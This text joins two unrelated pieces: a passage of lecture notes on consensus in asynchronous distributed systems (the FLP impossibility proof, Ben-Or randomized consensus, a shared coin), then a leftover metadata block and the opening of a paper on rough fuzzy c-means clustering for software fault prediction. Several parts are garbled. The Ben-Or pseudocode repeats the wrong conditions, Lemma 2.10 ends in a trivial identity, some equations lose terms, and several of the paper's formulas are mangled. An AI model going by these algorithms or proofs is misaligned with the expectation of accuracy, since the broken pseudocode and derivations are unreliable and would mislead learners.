Lemma 2.7. There is at least one selection of input values \( V \) such that the according initial configuration \( C_0 \) is bivalent, if \( f \geq 1 \).
Proof. Note that \( C_0 \) only depends on the input values of the nodes, as no event occurred yet. Let \( V = [v_0, v_1, \ldots, v_n] \) denote the array of input values, where \( v_i \) is the input value of node \( i \).
We construct a \( n + 1 \) arrays \( V_0, V_1, \ldots, V_n \), where the index \( i \) in \( V_i \) denotes the position in the array up to which all input values are 1. So, \( V_0 = [0, 0, 0, \ldots, 0] \), \( V_1 = [1, 0, 0, \ldots, 0] \), and so on, up to \( V_n = [1, 1, 1, \ldots, 1] \).
Note that the configuration corresponding to \( V_0 \) must be 0-valent so that the validity requirement is satisfied. Analogously, the configuration corresponding to \( V_n \) must be 1-valent. Assume that all initial configurations with starting values \( V_i \) are univalent. Therefore, there must be at least one index \( b \), such that the configuration corresponding to \( V_b \) is 0-valent, and configuration corresponding to \( V_{b+1} \) is 1-valent. Observe that only the input value of the \( b \)‘th position differs from \( V_0 \) to \( V_{b+1} \).
Since we assumed that the algorithm can tolerate at least one failure, i.e., if \( f \geq 1 \), we look at the following execution: All nodes except \( b \) start with their initial value according to \( V_b \) respectively \( V_{b+1} \). Node \( b \) is “extremely slow”; i.e., all messages sent by \( b \) are scheduled in such a way, that all other nodes must assume that \( b \) crashed, in order to satisfy the termination requirement.
Since the nodes cannot determine the value of \( b \), and we assumed that all initial configurations are univalent, they will decide for a value \( v \) independent of the initial value of \( b \). Since \( V_0 \) is 0-valent, \( v \) must be 0. However we know that \( V_{b+1} \) is 1-valent, thus \( v \) must be 1. Since \( v \) cannot be both 0 and 1, we have a contradiction.
Definition 2.8 (transition). A transition from configuration \( C \) to a following configuration \( C' \) is characterized by an event \( \tau = (u, m) \), i.e., node \( u \) receiving message \( m \).
Remarks:
- Transitions are the formally defined version of the “events” in the asynchronous model we described before.
- A transition \( \tau = (u, m) \) is only applicable to \( C \), if \( m \) was still in transit in \( C \).
- \( C' \) differs from \( C \) as follows: \( m \) is no longer in transit, \( u \) has possibly a different state (as \( u \) can update its state based on \( m \)), and there are (potentially) new messages in transit, sent by \( u \).
Definition 2.9 (configuration tree). The configuration tree is a directed tree of configurations. Its root is the configuration \( C_0 \) which is fully characterized by the input values \( V \). The edges of the tree are the transitions; every configuration has all applicable transitions as outgoing edges.
Remarks:
- For any algorithm, there is exactly one configuration tree for every selection of input values.
- Leaves are configurations where the execution of the algorithm terminated. Note that we use termination in the sense that the system as a whole terminated, i.e., there will not be any transition anymore.
- Every path from the root to a leaf is one possible asynchronous execution of the algorithm.
- Leaves must be univalent, or the algorithm terminates without agreement.
- If a node \( u \) crashes when the system is in \( C \), all transitions \((u, *)\) are removed from \( C \) in the configuration tree.
Lemma 2.10. Assume two transitions \( \tau_1 = (u_1, m_1) \) and \( \tau_2 = (u_2, m_2) \) for \( u_1 \neq u_2 \) are both applicable to \( C \). Let \( C_{\tau_1} \) be the configuration that follows \( C \) by first applying transition \( \tau_1 \) and then \( \tau_2 \), and let \( C_{\tau_2} \) be defined analogously.
It holds that \( C_{\tau_1 \tau_2} = C_{\tau_2 \tau_1} \).
2.3. IMPOSSIBILITY OF CONSENSUS
Proof. Observe that \( \tau_2 \) is applicable to \( C_{\tau_1} \), since \( m_2 \) is still in transit and \( \tau_1 \) cannot change the state of \( u_0 \). With the same argument \( \tau_1 \) is applicable to \( C_{\tau_2} \), and therefore both \( C_{\tau_1} \) and \( C_{\tau_2} \) are well-defined. Since the two transitions are completely independent of each other, meaning that they consume the same messages, lead to the same state transitions and to the same messages being sent, it follows that \( C_{\tau_1 \tau_2} = C_{\tau_1 \tau_2} \).
Definition 2.11 (critical configuration). We say that a configuration \( C \) is critical, if \( C \) is bivalent, but all configurations that are direct children of \( C \) in the configuration tree are univalent.
Remarks:
- Informally, \( C \) is critical, if it is the last moment in the execution where the decision is not yet clear. As soon as the next message is processed by any node, the decision will be determined.
Lemma 2.12. If a system is in a bivalent configuration, it must reach a critical configuration within finite time, or it does not always solve consensus.
Proof. Recall that there is at least one bivalent initial configuration (Lemma 2.7). Assuming that this configuration is not critical, there must be at least one bivalent following configuration; hence, the system may enter this configuration. But if this configuration is not critical as well, the system may afterwards progress into another bivalent configuration. As long as there is no critical configuration, an unfortunate scheduling (selection of transitions) can always lead the system into another bivalent configuration. The only way how an algorithm can enforce to arrive in an univalent configuration is by reaching a critical configuration.
Therefore we can conclude that a system which does not reach a critical configuration has at least one possible execution where it will terminate in a bivalent configuration (hence it terminates without agreement), or it will not terminate at all.
Lemma 2.13. If a configuration tree contains a critical configuration, crashing a single node can create a bivalent leaf; i.e., a crash prevents the algorithm from reaching agreement.
Proof. Let \( C \) denote critical configuration in a configuration tree, and let \( T \) be the set of transitions applicable to \( C \). Let \( \tau_0 = (u_0, m_0) \in T \) and \( \tau_1 = (u_1, m_1) \in T \) be two transitions, and let \( C_{\tau_0} \) be 0-valent and \( C_{\tau_1} \) be 1-valent. Note that \( T \) must contain these transitions, as \( C \) is a critical configuration.
Assume that \( u_0 \neq u_1 \). Using Lemma 2.10 we know that \( C \) has a following configuration \( C_{\tau_1 \tau_0} = C_{\tau_1 \tau_0} \). Since this configuration follows \( C_{\tau_0} \) it must be 0-valent. However, this configuration also follows \( C_{\tau_1} \) and must hence be 1-valent. This is a contradiction and therefore \( u_0 = u_1 \) must hold.
Therefore we can pick one particular node \( u \) for which there is a transition \( \tau = (u, m) \in T \) which leads to a 0-valent configuration. As shown before, all transitions in \( T \) which lead to a 1-valent configuration must also take place on \( u \). Since \( C \) is critical, there must be at least one such transition. Applying the same argument again, it follows that all transitions in \( T \) that lead to a 0-valent configuration must take place on \( u \) as well, and since \( C \) is critical, there is no transition in \( T \) that leads to a bivalent configuration. Therefore all transitions applicable to \( C \) take place on the same node \( u \)!
If this node \( u \) crashes while the system is in \( C \), all transitions are removed, and therefore the system is stuck in \( C \), i.e., it terminates in \( C \). But as \( C \) is critical, and therefore bivalent, the algorithm fails to reach an agreement.
Theorem 2.14. There is no deterministic algorithm which always achieves consensus in the asynchronous model, with \( f > 0 \).
Proof. We assume that the input values are binary, as this is the easiest non-trivial possibility. From Lemma 2.7 we know that there must be at least one bivalent initial configuration \( C \). Using Lemma 2.12 we know that if an algorithm solves consensus, all executions starting from the bivalent configuration \( C \) must reach a critical configuration. But if the algorithm reaches a critical configuration, a single crash can prevent agreement (Lemma 2.13).
Remarks:
- If \( f = 0 \), then each node can simply send its value to all others, wait for all values, and choose the minimum.
- But if a single node may crash, there is no deterministic solution to consensus in the asynchronous model.
- How can the situation be improved? For example by giving each node access to randomness, i.e., we allow each node to toss a coin.
2.4 Randomized Consensus
Algorithm 2.15 Randomized Consensus (Ben-Or)
1: $v_i \in \{0, 1\}$ /* input bit
2: repeated
3: decided = false
4: Broadcast $myValue(v_i, \text{round})$
5: while true do
6: Propose
7: Wait until a majority of $myValue$ messages of current round arrived
8: if all received messages contain the same value $v$ then
9: Broadcast $propose(v, \text{round})$
10: else
11: Broadcast $propose(\perp, \text{round})$
12: end if
13: if decided then
14: Broadcast $myValue(v_i, \text{round+1})$
15: Decide for $v_i$ and terminate
16: end if
17: if decided then
18: Adapt
19: Wait until a majority of $propose$ messages of current round arrived
20: if all received messages propose the same value $v$ then
21: $v_i = v$
22: decide = true
23: else if there is at least one proposal for $v$ then
24: $v_i = v$
25: else
26: Choose $v_i$ randomly, with $Pr[v_i = 0] = Pr[v_i = 1] = 1/2$
27: end if
28: round = round + 1
29: Broadcast $myValue(v_i, \text{round})$
30: end while
Remarks:
- The idea of Algorithm 2.15 is very simple: Either all nodes start with the same input bit, which makes consensus easy. Otherwise, nodes toss a coin until a large number of nodes get – by chance – the same outcome.
Algorithm 2.15 satisfies the validity requirement.
Proof. Observe that proposals for both 0 and 1 cannot occur in the same round, as nodes only send a proposal for $v$ if they hear a majority for $v$ in Line 8.
Let $u$ be the first node that decides for a value $v$ in round $r$. Hence, it received a majority of proposals for $v$ in $r$ (Line 17). Note that once a node receives a majority of proposals for a value, it will adapt this value and terminate in the next round. Since there cannot be a proposal for any other value in $r$, it follows that no node decides for a different value in $r$.
In Lemma 2.16 we only showed that nodes make progress as long as no node decides, thus we need to be careful that no node gets stuck if $u$ terminates.
Any node $u' \neq u$ can experience one of two scenarios: Either it also receives a majority for $v$ in round $r$ and decides, or it does not receive a majority. In the first case, the agreement requirement is directly satisfied, and also the node cannot get stuck. Let us study the latter case. Since $u$ heard a majority of proposals for $v$, it follows that every node hears at least one proposal for $v$. Hence, all nodes will broadcast $v$ at the end of round $r$, and thus all nodes will propose $v$ in round $r + 1$. The nodes that already decided in round $r$ will terminate in $r + 1$ and send one additional $myValue$ message (Line 13). All other nodes will receive a majority of proposals for $v$ in $r + 1$, and will set decided to true in round $r + 1$, and also send a $myValue$ message in round $r + 1$. Thus, in round $r + 2$ some nodes have already terminated, and others hear enough $myValue$ messages to make progress in Line 6. They send another propose and a $myValue$ message, and terminate in $r + 2$, deciding for the same value $v$.
Algorithm 2.15 satisfies the termination requirement, i.e., all nodes terminate in expected time $O(2^n)$.
Proof. We know from the proof of Lemma 2.18 that once a node hears a majority of proposals for a value, all nodes will terminate at most two rounds later. Hence, we only need to show that a node receives a majority of proposals for the same value within expected time $O(2^n)$.
Assume that no node receives a majority of proposals for the same value. In such a round, some nodes may update their value to $v$ based on a proposal (Line 20). As shown before, all nodes that update the value based on a proposal, adapt the same value $v$. The rest of the nodes chose 0 or 1 randomly. The probability that all nodes choose the same value $v$ in one round is hence at least $1/2^n$. Therefore, the expected number of rounds is bounded by $O(2^n)$. As every round consists of two message exchanges, the asymptotic runtime of the algorithm is equal to the number of rounds.
Theorem 2.20. Algorithm 2.15 achieves binary consensus with expected runtime $O(2^n)$ if up to $f < n/2$ nodes crash.
Remarks:
- How good is a fault tolerance of $f < n/2$?
Theorem 2.21. There is no consensus algorithm for the asynchronous model that tolerates $f \geq n/2$ many failures.
Proof. Assume that there is an algorithm that can handle $f = n/2$ many failures. We partition the set of all nodes into two sets $N, N'$ both containing $n/2$ many nodes. Let us look at three different selection of input values: In $V_0$ all nodes start with 0. In $V_1$ all nodes start with 1. In $V_{fail}$ all nodes in $N$ start with 0, and all nodes in $N'$ start with 1.
Assume that nodes start with $V_{fail}$. Since the algorithm must solve consensus independent of the scheduling of the messages, we study the scenario where all messages sent from nodes in $N$ to nodes in $N'$ (or vice versa) are heavily delayed. Note that the nodes in $N$ cannot determine if they started with $V_0$ or $V_1$. Analogously, the nodes in $N'$ cannot determine if they started in $V_1$ or $V_{fail}$. Hence, if the algorithm terminates before any message from the other set is received, $N$ must decide for 0 and $N'$ must decide for 1 (to satisfy the validity requirement, as they could have started with $V_0$ respectively $V_1$). Therefore, the algorithm would fail to reach agreement.
The only possibility to overcome this problem is to wait for at least one message sent from a node of the other set. However, as $f = n/2$ many nodes can crash, the entire other set could have crashed before they sent any message. In that case, the algorithm would wait forever and therefore not satisfy the termination requirement.
2.5 Shared Coin
Algorithm 2.22 Shared Coin (code for node $u$)
1. Choose local coin $c_u = 0$ with probability $1/n$, else $c_u = 1$
2. Broadcast $myCoin(c_u)$
3. Wait for $n - f$ coins and store them in the local coin set $C_u$
4. Broadcast $mySet(C_u)$
5. Wait for $n - f$ coin sets
6. If at least one coin is 0 among all coins in the coin sets then
7. return 0
8. else
9. return 1
10. end if
Remarks:
- Since at most $f$ nodes crash, all nodes will always receive $n - f$ coins respectively coin sets in Lines 3 and 5. Therefore, all nodes make progress and termination is guaranteed.
- We show the correctness of the algorithm for $f < n/3$. To simplify the proof we assume that $n = 3f + 1$, i.e., we assume the worst case.
Lemma 2.23. Let $u$ be a node, and let $W$ be the set of coins that $u$ received in at least $f + 1$ different coin sets. It holds that $|W| \geq f + 1$.
Proof. Let $C$ be the multiset of coins received by $u$. Observe that $u$ receives exactly $|C| = (n-f)^2$ many coins, as $u$ waits for $n - f$ coin sets each containing $n - f$ coins.
Assume that the lemma does not hold. Then, at most $f$ coins are in all $n - f$ coin sets, and all other coins $(n - f)$ are in at most $f$ coin sets. In other words, the number of total of coins that $u$ received is bounded by $|C| \leq f \cdot (n-f) + (n-f) \cdot f = 2(n-f)$.
Our assumption was that $n > 3f$, i.e., $n - f > 2f$. Therefore $|C| \leq 2f(n-f) < (n-f)^2 = |C|$, which is a contradiction.
Lemma 2.24. All coins in $W$ are seen by all correct nodes.
Proof. Let $w \in W$ be such a coin. By definition of $W$ we know that $w$ is in at least $f + 1$ sets received by $u$. Since every other node also waits for $n - f$ sets before terminating, each node will receive at least one of these sets, and hence $w$ must be seen by every node that terminates.
Theorem 2.25. If $f < n/3$ nodes crash, Algorithm 2.22 implements a shared coin.
Proof. Let us first bound the probability that the algorithm returns 1 for all nodes. With probability $(1 - 1/n)^n \approx 1/e \approx 0.37$ all nodes chose their local
coin equal to 1 (Line 1), and in that case 1 will be decided. This is only a lower bound on the probability that all nodes return 1, as there are also other scenarios based on message scheduling and crashes which lead to a global decision for 1. But a probability of 0.37 is good enough, so we do not need to consider these scenarios.
With probability \(1 - (1 - 1/n)^{|W|}\) there is at least one 0 in \(W\). Using Lemma 2.23 we know that \(|W| \geq f + 1 \approx n/3\), hence the probability is about \(1 - (1 - 1/n)^{n/3} \approx 1 - (1/e)^{1/3} \approx 0.28\). We know that this 0 is seen by all nodes (Lemma 2.24), and hence everybody will decide 0. Thus Algorithm 2.22 implements a shared coin.
Remarks:
- We only proved the worst-case. By choosing \(f\) fairly small, it is clear that \(f + 1 \neq n/3\). However, Lemma 2.23 can be proved for \(|W| \geq n/3\).
Theorem 2.26. Plugging Algorithm 2.22 into Algorithm 2.15 we get a randomized consensus algorithm which terminates in a constant expected number of rounds tolerating up to \(f < n/3\) crash failures.
Chapter Notes
The problem of two friends arranging a meeting was presented and studied under many different names; nowadays, it is usually referred to as the Two Generals Problem. The impossibility proof was established in 1975 by Akkoyunlu et al. [AEH75].
The proof that there is no deterministic algorithm that always solves consensus is based on the proof of Fischer, Lynch and Paterson [FLP85], known as FLP, which they established in 1985. This result was awarded the 2001 PODC Influential Paper Award (now called Dijkstra Prize). The idea for the randomized consensus algorithm was originally presented by Ben-Or [Ben83]. The concept of a shared coin was introduced by Bracha [Bra87].
This chapter was written in collaboration with David Stolz.
Bibliography
|
{"Source-Url": "http://distcomp.ethz.ch/lectures/hs15/distsys/lecture/chapter2-2on1.pdf", "len_cl100k_base": 6281, "olmocr-version": "0.1.53", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 24015, "total-output-tokens": 7041, "length": "2e12", "weborganizer": {"__label__adult": 0.00043272972106933594, "__label__art_design": 0.00032401084899902344, "__label__crime_law": 0.0005135536193847656, "__label__education_jobs": 0.0007033348083496094, "__label__entertainment": 0.00015354156494140625, "__label__fashion_beauty": 0.0001838207244873047, "__label__finance_business": 0.0004780292510986328, "__label__food_dining": 0.0005435943603515625, "__label__games": 0.00099945068359375, "__label__hardware": 0.002288818359375, "__label__health": 0.0010890960693359375, "__label__history": 0.00045418739318847656, "__label__home_hobbies": 0.0001227855682373047, "__label__industrial": 0.0006570816040039062, "__label__literature": 0.0005846023559570312, "__label__politics": 0.00038695335388183594, "__label__religion": 0.00069427490234375, "__label__science_tech": 0.2197265625, "__label__social_life": 0.000118255615234375, "__label__software": 0.01319122314453125, "__label__software_dev": 0.7548828125, "__label__sports_fitness": 0.0003592967987060547, "__label__transportation": 0.0008878707885742188, "__label__travel": 0.0002651214599609375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24667, 0.04023]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24667, 0.35947]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24667, 0.91236]], "google_gemma-3-12b-it_contains_pii": [[0, 3931, false], [3931, 9340, null], [9340, 14264, null], [14264, 18311, null], [18311, 22118, null], [22118, 24667, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3931, true], [3931, 9340, null], [9340, 14264, null], [14264, 18311, null], [18311, 22118, null], [22118, 24667, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24667, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24667, null]], "pdf_page_numbers": [[0, 3931, 1], [3931, 9340, 2], [9340, 14264, 3], [14264, 18311, 4], [18311, 22118, 5], [22118, 24667, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24667, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
95329a9e62a06500f92e1abb028d9df7e6f217a9
|
Fault Prone Analysis of Software Systems Using Rough Fuzzy C-means Clustering
Neha Singh¹ Agrawal Kalpesh¹ Swathi Jamjala Narayanan*¹
¹School of Computer Science and Engineering, VIT University, Vellore, India
* Corresponding author’s Email: jnswathi@vit.ac.in
Abstract: Prediction of fault proneness of modules in software is one of the ways to ensure the achievement of software quality and reliability. Software delivered cannot always be bug free, the more the number of bug the more the dis-satisfaction among client due to degradation in software quality and reliability. Though we have few models for detecting software fault prone modules, the intend of our work is to increase the reliability of the software by using an approach named Rough Fuzzy c-means (RFCM) clustering algorithm to analyse the fault proneness of the software modules under test. This helps in an efficient analysis of the modules having an ambiguous behaviour using rough set boundary which is not possible using traditional clustering methods. A dataset from PROMISE software engineering repository has been taken for the experimental analysis. The results were promising enough to determine software modules which fall in the boundary region of ambiguity emphasizing the software team to focus on those modules to achieve higher reliable system.
Keywords: Fault proneness, C-means, FCM, RFCM, Clustering, Ambiguous faults, Boundary region, Rough set.
1. Introduction
All Faults in software systems continue to be a major problem. Many software systems are delivered to users/client with excessive faults. This is despite a huge amount of development effort going into fault reduction in terms of quality control and testing. It has long been recognized that seeking out fault-prone parts of the system and targeting those parts for increased quality control and testing is an effective approach to fault reduction. Fault-proneness of a software module is the probability that the module contains faults. A correlation exists between the fault-proneness of the software and the measurable attributes of the code (i.e. the static metrics) and of the testing (i.e. the dynamic metrics). Prediction of fault-prone modules provides one way to support software quality engineering through improved scheduling and project control. Quality of software is increasingly important and testing related issues are becoming crucial for software. Methodologies and techniques for predicting the testing effort, monitoring process costs, and measuring results can help in increasing efficiency of software testing. Being able to measure the fault-proneness of software can be a key step towards steering the software testing and improving the effectiveness of the whole process. In the past, several metrics for measuring software complexity and testing thoroughness have been proposed. Static metrics, e.g., the McCabe's cyclomatic number or the Halstead's Software Science, statically computed on the source code and tried to quantify software complexity. Despite this it is difficult to identify a reliable approach to identifying fault-prone software components.
Clustering is used to determine the intrinsic grouping in a set of unlabelled data. It is the process of organizing objects into groups whose members are similar in some way. Among various clustering techniques available in literature K-Means clustering approach is most widely used technique. But due to the crisp nature of the technique some modules having an ambiguous behaviour may be misclassified into a wrong class. For example, some software module only show either fail result of pass result, there are changes that module sometimes pass
in certain cases but can fail in certain tests leading to ambiguous decision, whether the system is correctly working and must be delivered or is faulty must be re-engineered. Thus, leading to degradation in the process of analysis of the fault proneness of the system and thus affecting the quality of the software.
To overcome this shortcoming, we have used RFCM clustering technique. It is a hybrid technique which deals with ambiguities, vagueness and indiscernibility using the concepts from the theory of fuzzy sets and rough sets both. The fuzzy nature helps in finding the membership of an element for given cluster. Thus we are able to calculate that amount of similarity between element and the cluster to which it has been assigned. The drawback here is the generation of overlapping clusters. These overlapping clusters make it hard to decide the assignment of elements to one specific cluster in the real world scenario. This is the place where the use of rough set theory proves useful. It provides a region for data points which completely belong to a given cluster and this region is called lower approximation. The next region that exists is the upper approximation where the data points aren’t a part of the cluster. The region in between the lower and the upper approximation is the region known as boundary region. It is here that the data points not having a crisp belongingness to either of the aforementioned area lie. In this paper RFCM is used for the process of investigating the fault proneness of software modules for the dataset obtained from the PROMISE software engineering repository.
The paper is organized as follows: section 2 provides the details of existing work related to software fault prediction. The next section deals with the traditional clustering methods and their drawbacks. Section 4 provides the proposed RFCM clustering for measuring the fault proneness of software modules. In section 5, the computational experimental results have been discussed followed by the references.
2. Literature review
All several efforts have been made in research for software fault prediction and assessment using various techniques [1-3]. Agresti and Evanco [4] worked on a model to predict defect density based on the product and process characteristics for Ada program. There are many papers advocating statistical models and software metrics [5]. Gaffney and Davis [6, 7] of the Software Productivity Consortium developed the phase-based model. It uses fault statistics obtained during the technical review of requirements, design, and the coding to predict the reliability during test and operation.
One of the earliest and well known efforts to predict software reliability in the earlier phase of the life cycle was the work initiated by the Air Force’s Rome Laboratory [8]. For their model, they developed prediction of fault density which they could then transform into other reliability measures such as failure rates.
To do this the researchers selected a number of factors that they felt could be related to fault density at the earlier phases. Most of them are based on size and complexity metrics. To achieve high software reliability, the number of faults in delivered code should be reduced. The faults are introduced in software in each phase of software life cycle and these faults pass through subsequent phases of software life cycle unless they are detected through testing or review process. Finally, undetected and uncorrected faults are delivered with software. To achieve the target software reliability efficiently and effectively, faults should be identified at early stages of software development process. During early phase of software development testing/field failure data is not available. Therefore, the prediction is carried out using various factors relevant to reliability.
A study was conducted by Zhang and Pham [9] to find the factors affecting software reliability. The study found 32 potential factors involved in various stages of the software life cycle. In another recent study conducted by Li and Smidt [10], reliability relevant software engineering measures have been identified. They have developed a set of ranking criteria and their levels for various reliability relevant software metrics, present in the first four phases of software life cycle. Recently, Kumar and Misra [11] tried for early software reliability prediction considering the six top ranked measures given by [10] and software operational profile. Sometimes, it may happen that some of these top ranked measures are not available, making the prediction result unrealistic.
Software metrics can be classified in three categories: product metrics, process metrics, and resources metrics [12]. Product metrics describe characteristics of the product such as size, complexity, design features, performance and quality level etc. Process metrics can be used to improve software development process and maintenance. Resources metrics describe the project characteristics and execution. Approximately thirty software metrics exist, which can be associated with different phases of software development life cycle. Among these metrics some are significant predictor
to reliability. From the above literature, following observations are made. Firstly, it is observed that predicting faults early is very important for the entire software development process and reliability. Secondly, the reliability of software is a function of the number of the remaining faults. Thirdly, data available from existing software’s and their proneness to faults can be of great use for detecting the effectiveness of a technique in the prediction of same. The existing data can be analysed and the results compared with the already available classification results. Also, addition of soft computing techniques to these methods can improve the prediction ability of the software.
In this paper, we propose to use a hybrid RFCM technique which makes use of concepts from the theory of both fuzzy sets and rough sets to handle ambiguity and vagueness in better way. The fuzzy nature helps in finding the membership of an element for given cluster. Thus we are able to calculate that amount of similarity between element and the cluster to which it has been assigned. The drawback here is the generation of overlapping clusters.
These overlapping clusters make it hard to decide the assignment of elements to one specific cluster in the real world scenario. This is the place where the use of rough set theory proves useful. It provides a region for data points which completely belong to a given cluster and this region is called lower approximation. The next region that exists is the upper approximation where the data points aren’t a part of the cluster. The region in between the lower and the upper approximation is the region known as boundary region. It is here that the data points not having a crisp belongingness to either of the aforementioned area lie.
3. Traditional clustering methods
In this session we discuss about traditional c-means and fuzzy c-means clustering technique.
3.1 C-means clustering
C-means is the most widely used prototype based partitioning clustering algorithms. It is an iterative process until all data points stabilizes [13]. In hard c-means, each object must be assigned to exactly one cluster. The clustering ensures that the similarity between the data points with in a cluster is maximum than the data points of other clusters. The objective of this algorithm is to minimize the squared error function given in Eq. (1)
\[ J = \sum_{j=1}^{k} \sum_{i=1}^{n} \| x_i^j - c_j \|^2 \]
Where, \( \| x_i^j - c_j \| \) is a chosen measure of distance between a data point \( x_i^j \) and the cluster center \( c_j \) is an indicator of the distance of the \( n \) data points from their respective cluster centers.
3.2 Fuzzy c-means clustering
The fuzzy c-means (FCM) algorithm proposed by Bezdek [14, 15] is the fuzzy variant of the conventional c-means algorithm. The algorithm is based on the minimization of the objective function given in Eq. (2)
\[ J = \sum_{j=1}^{k} \sum_{i=1}^{n} u_{ij}^m \| x_i^j - c_j \|^2 \]
This methodology is useful when the required number of clusters is available. The primary improvement of FCM over conventional c-means is the fact that it can assign partial membership to data points. This means the use of concept of likelihood rather than complete membership. The method can be very useful at times but is highly susceptible to noise and outliers. The primary drawback is the fact that it generates overlapping clusters. The membership values is calculated using Eq. (3) and the fuzzy centers are calculated using Eq. (4)
\[ u_{ij} = \frac{1}{\sum_{p=1}^{k} \left( \frac{\| x_i^j - c_p \|^2}{\mu_{ij}^2} \right)^{\frac{1}{m}}} \]
subject to :
\[ \sum_{j=1}^{k} u_{ij} = 1, \quad \forall i \]
\[ 0 < \sum_{j=1}^{n} u_{ij} < n, \quad \forall j \]
Where, \( \mu_{ij} \) is the membership of \( i^{th} \) data to \( j^{th} \) cluster, \( m \) is the fuzzy index where \( m \in (1, \infty) \), \( c \) is the number of cluster centres.
\[ c_j = \sum_{i=1}^{n} (u_{ij})^m \frac{x_i}{\sum_{i=1}^{n} (u_{ij})^m} \]
Where, \( c_j \) is the fuzzy center of the cluster \( j \). The algorithm iteration stops, when the condition \( \max_j \left\{ \| u_{ij}^{k+1} - u_{ij}^k \| \right\} < \varepsilon \), where \( \varepsilon \) is the termination criteria between 0 and 1 and \( k \) is the number of iterations.
3.3 Limitations of traditional clustering methods
There are existent drawbacks to the c-means and the fuzzy variant of this clustering algorithm. They take long computational time and c-means is sensitivity to the initial guess and thus leads to local minima. The fuzzy c-means is also sensitivity to noise and provides low (or even no) membership degree for outliers or to the noisy data.
4. Rough fuzzy c-means clustering algorithm for software fault prediction
RFCM algorithm extends the c-means algorithm by integrating both fuzzy set and rough set theory [16, 17]. In this hybrid method, the benefits of both fuzzy sets and rough sets are added to the traditional c-means and thus we obtain a robust algorithm [18]. The fuzzy set algorithm provides membership values to each of the elements of the set and it ends as overlapping partitions which are helpful in few applications. In rough set theory, the concepts like upper approximation, lower approximation and boundary condition further helps to handle ambiguity in better way than Fuzzy c-means.
By hybridizing rough, fuzzy and c-means together it enables to efficiently handle the uncertainty, incompleteness and vagueness of dataset during classification or clustering [19, 20]. In RFCM technique, each cluster consists of 3 parameters, namely, a cluster centroid which is the mean or prototype of the cluster, a crisp lower approximation which holds the data points completely belonging to the set, and a fuzzy boundary which holds data points possibly belonging to the set and also falls under the rough boundary with fuzzy membership.
The formal representation of the notations and the RFCM algorithm used for predicting software fault prone modules is as follows: Let $L(j)$ and $\bar{U}(j)$ be the lower and upper approximations of cluster $v_j$, and $B(v_j) = \bar{U}(v_j) - L(v_j)$ denote the boundary region of cluster $v_j$.
4.1 Objective function
The objective function of the RFCM algorithm which is to be minimized is as given in Eq. (5). In Eq. (5) the parameters $w$ and $\tilde{w} = 1 - w$ are the weights related to lower approximant and the boundary region. $\mu_{ij}$ is the membership of the object $i$ in cluster $j$.
$$J_{RF} = \begin{cases} \quad w \times A_1 + \tilde{w} \times B_1 & \text{if } L(v_j) \neq \emptyset, B(v_j) \neq \emptyset \\ A_1 & \text{if } L(v_j) \neq \emptyset, B(v_j) = \emptyset \\ B_1 & \text{if } L(v_j) = \emptyset, B(v_j) \neq \emptyset \end{cases}$$
(5)
Where
$$A_1 = \sum_{j=1}^{k} \sum_{x_i \in L(v_j)} \sum_{x_i} ||x_i - c_j||^2; \quad (6)$$
and
$$B_1 = \sum_{j=1}^{k} \sum_{x_i \in B(v_j)} \sum_{x_i} ||x_i - c_j||^2 \quad (7)$$
According to the lower approximations and boundary region definitions of rough sets, if an object $x_i \in L(v_j)$, then $x_i \in L(v_p), \forall p \neq j$ and $x_i \in B(v_j), \forall j$. In simple, the object $x_i$ is certainly enclosed in cluster $v_j$. In this case, the weights of the objects are independent of other centroids and clusters.
Further, the objects that fall in the lower approximation should have similar influence on the corresponding centroid and cluster rather, if $x_i \in B(v_j)$, then the object $x_i$ possibly belongs to $v_j$ and potentially belongs to another cluster. Hence, the objects in boundary regions should have different influence on the centroids and clusters. So, in RFCM, the data is partitioned into two classes - lower approximation and boundary and only the objects in boundary are fuzzified as in fuzzy c-means and the membership values of objects in lower approximation is $\mu_{ij} = 1$. Thus in RFCM $A_1$ reduces to
$$A_1 = \sum_{j=1}^{k} \sum_{x_i \in L(v_j)} ||x_i - c_j||^2 \quad (8)$$
and $B_1$ has the same expression as given in Eq. (7).
4.2 Cluster centroids
The new cluster prototypes (centroids) are calculated as given in Eq. (9).
$$C_{RF}^i = \begin{cases} \quad w \times C_j + \tilde{w} \times D_j & \text{if } L(v_j) \neq \emptyset, B(v_j) \neq \emptyset \\ C_j & \text{if } L(v_j) \neq \emptyset, B(v_j) = \emptyset \\ D_j & \text{if } L(v_j) = \emptyset, B(v_j) \neq \emptyset \end{cases}$$
(9)
International Journal of Intelligent Engineering and Systems, Vol.10, No.6, 2017 DOI: 10.22266/ijies2017.1231.01
Where
\[ C_j = \frac{1}{|L(v_j)|} \sum_{x_i \in L(v_j)} x_i \] \hspace{1cm} (10)\]
\[ D_j = \frac{1}{n_j} \sum_{x_i \in B(v_j)} u_{ij}^m x_i \] \hspace{1cm} (11)\]
\[ n_j = \sum_{x_i \in \beta(v_j)} (u_{ij}^m) \] \hspace{1cm} (12)\]
and \(|L(v_j)|\) represents the cardinality of \(L(v_j)\).
